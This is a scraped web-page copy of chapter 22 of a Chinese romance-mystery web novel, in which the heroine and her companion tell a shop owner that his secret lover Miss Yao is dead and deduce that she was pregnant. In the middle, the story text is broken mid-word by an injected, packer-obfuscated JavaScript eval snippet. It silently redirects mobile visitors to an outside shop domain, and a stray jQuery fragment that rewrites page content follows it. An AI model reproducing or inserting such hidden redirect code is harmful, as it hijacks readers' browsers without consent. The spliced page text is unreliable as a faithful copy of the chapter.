文趣网 > 都市小说 > 如何让高岭之花发疯 > 22. 第二十二章 追月光只是虚妄
    天微亮,二人出了客栈。

    阮辞秋原先还担忧客栈的人看出些什么,将她二人绑起来交给官府。

    未曾想,一切都顺利的出奇,半个时辰便到了城内。

    阮辞秋四处打听,才找到了富云阁。

    富云阁在平安街上,是平安街上最中心的那块地,挂着最显眼的牌匾。

    阮辞秋看着精致典雅的门面,门口两个高大威武的护卫,心里涌起一股自卑来。

    她努力整理整理了自己身上破旧的衣服,摸了摸自己的鬓角,这才鼓足勇气走进去。

    她牵着微生舟,手心发着汗,微生舟似乎感受到了她的紧张,越发攥紧她的手掌。

    阮辞秋的紧张稍稍松了些。

    掌柜姓林,看起来和阮辞秋年龄相仿,说话温声细语,人也和和气气,就是眉宇间总是绕着几分忧愁。

    还有就是,他身上有一股浓重的熏香味,像是栀子花,浓烈到难闻了。

    一切在阮辞秋拿出那支簪子的时候变了。

    林掌柜的语气有些急了,带着些许试探,“娘子的簪子从何而来?”

    “这是我的一位友人送给我的。”阮辞秋看出来他脸色不对,追问了一句,“怎么了。”

    林掌柜却说,“娘子可否将簪子借我瞧一眼?”

    林掌柜凑近仔细看了看簪子,立刻失望下来,将簪子还给了阮辞秋,仍旧不死心问了一句,“娘子可是来自上林?”

    这回换阮辞秋惊讶了,她看出了这支簪子的不寻常,点了点头。

    林掌柜这回再也控制不住自己的情绪,急着去拉阮辞秋的衣袖,“娘子可认识上林姚家铺子的姚娘子?”

    微生舟感知到了他扯动的动作,立刻扯开他的手。

    林掌柜自觉失态,连连道歉。

    阮辞秋松散的目光瞬时聚了起来,“认识。”

    林掌柜的嘴唇抖动了一分,眼里克制着某种情愫,一句话在唇齿间来回,最后只问了一句,“她,还好吗?”

    小时候阿父总抱着她看月亮,在清冷的月光下念出阿母闺名,那时也是这样的眼神。

    阮辞秋不懂,也不想明白。

    全上林都知道嫁人那日死掉的是姚家二娘,都说姚柔好好待在外祖家。

    阮辞秋不知道该怎么说。

    说姚柔死了,还是说她很好,只是有点疯。

    阿父喝醉的时候,也喜欢很多很多的好听话,但话再好听,阿母也不会再回来。

    谎言很美,像是湖面倒影的月亮,给自己留下骗人的虚妄。

    阮辞秋正不知如何开口,林掌柜偏过头,摆摆手,“算了,我不想知道了。”

    一旁沉默的微生舟却硬生生撕开这个缺口,冷淡的声音飘入耳,“她死了。”

    阮辞秋转头,似乎再次刷新了对微生舟的认识。

    她明明什么都没和微生舟说,他又是怎么知道的。

    林掌柜的眼眶一下子红了,不可置信地望向微生舟,“什么叫......”他语无伦次起来,“什么叫死了?”

    “这地方不适合谈这些,你找个安静的地方,我们可以把知道的都告诉你。”

    林掌柜点点头。

    ---

    林掌柜将他们带到了二楼的茶室,茶室里煮着武夷的岩茶,茶香袅袅,气氛却沉默。

    微生舟拿起茶盏,身形端正,微抿一口,动作熟稔,茶盏摆放和品茗规矩挑不出一丝的错处。

    林掌柜隐隐觉得面前这个人不普通,他的身上透着一股上位者的气势,十分有压迫感。

    举手投足间,像是...像是...

    像是长安那群贵人模样,丝毫不像是一个平头百姓。

    可此刻他也管不了旁的,满脑子都是方才这人的那句,“死了。”

    微生舟不给他悲伤的机会,率先发问,“你同姚家大娘子是什么关系。”

    林掌柜犹豫片刻,迟迟不肯说。

    微生舟又道,“你若什么都不肯说,那我二人便帮不了你。”

    “我与她,曾私定终身。”林掌柜还是说了出来,“姚娘她,她......”

    林掌柜埋下头,平复了半天自己情绪,却迟迟无法相信,“真的不在了吗?”

    微生舟神色不曾变化,“你最后一次见她是什么时候。”

    林掌柜哽咽,“过年前,我和她相约在上林村外的驿站,打算逃了那桩婚事,私奔离开这里。我从白天等到晚上,她迟迟没有出现。自此后便没有她的消息,再后来便听说姚家二娘出了大事。”

    阮辞

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921381|213472||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    秋听的一愣一愣的,她从小就认识姚娘,记忆里姚娘一直是个文静听话的女郎。

    未曾想如此循规蹈矩的人,会干出逃婚的事。

    “你们约的那日可是元月初九?”阮辞秋问。

    “是!”

    那日在婚宴现场看不穿的迷雾一点点散开来。

    “她逃婚那日被土匪劫走了,回来的时候人就疯了。”

    阮辞秋将那几日的事原模原样说了出来。

    “这不可能!”林掌柜腾地站了起来,“上林出来的伙计都说那日嫁出去的是姚家二娘,出事的也是姚二娘。”

    “姚娘的手上可有一个胎记?”

    “有。”

    “她二人是姐妹,若胎记相似也未可知?”林掌柜还是不肯相信。

    “她身量纤细,身高约莫六尺,是否如此。”

    “是。”

    “私奔前你二人是否做了逾矩之事。”

    林掌柜呆滞地摇了摇头,没有承认。

    “姚家为自己女儿做的嫁衣,是大号的嫁衣,绣的婚鞋里头也垫了垫子。”

    “姚二娘身高比姚娘高一些,身形也更纤细一些,若为二娘做嫁衣,为何要做如此宽大的款式?增高的婚鞋?”

    阮辞秋灵光一现,“那这嫁衣只能是做给姚娘的,可姚娘为何穿宽大的嫁衣?”

    微生舟点了点头,“姚老爷年过半百,姚家那几日却传出了姚家姨娘怀胎的消息,可如今几月过去,姚家可添新丁?”

    那时候微生舟病着,阮辞秋天天去抓药,那程大夫的确在为姚家抓保胎药,而前段日子姚家姨娘的孩子却突然没保住。

    那么只能是,“有身孕的是姚娘。”

    如此便都说得通了,阮辞秋后知后觉,明白微生舟那几日天天出门做了些什么,难怪后街卖布料的婶子,还有程大夫都认识他。

    只是。

    “姚老爷这样要脸面的人家,怎会纵容姚娘保下一个来历不明的孩子?”

    “那如果是打不掉呢?”

    阮辞秋恍然,她听程大夫说过,女子怀孕凶险,月份还小,若用药打掉,便还能恢复,可月份大些,喝下落胎药便是一尸两命。

    难怪难怪。

    林掌柜脸上血色全无,手指也止不住抖动。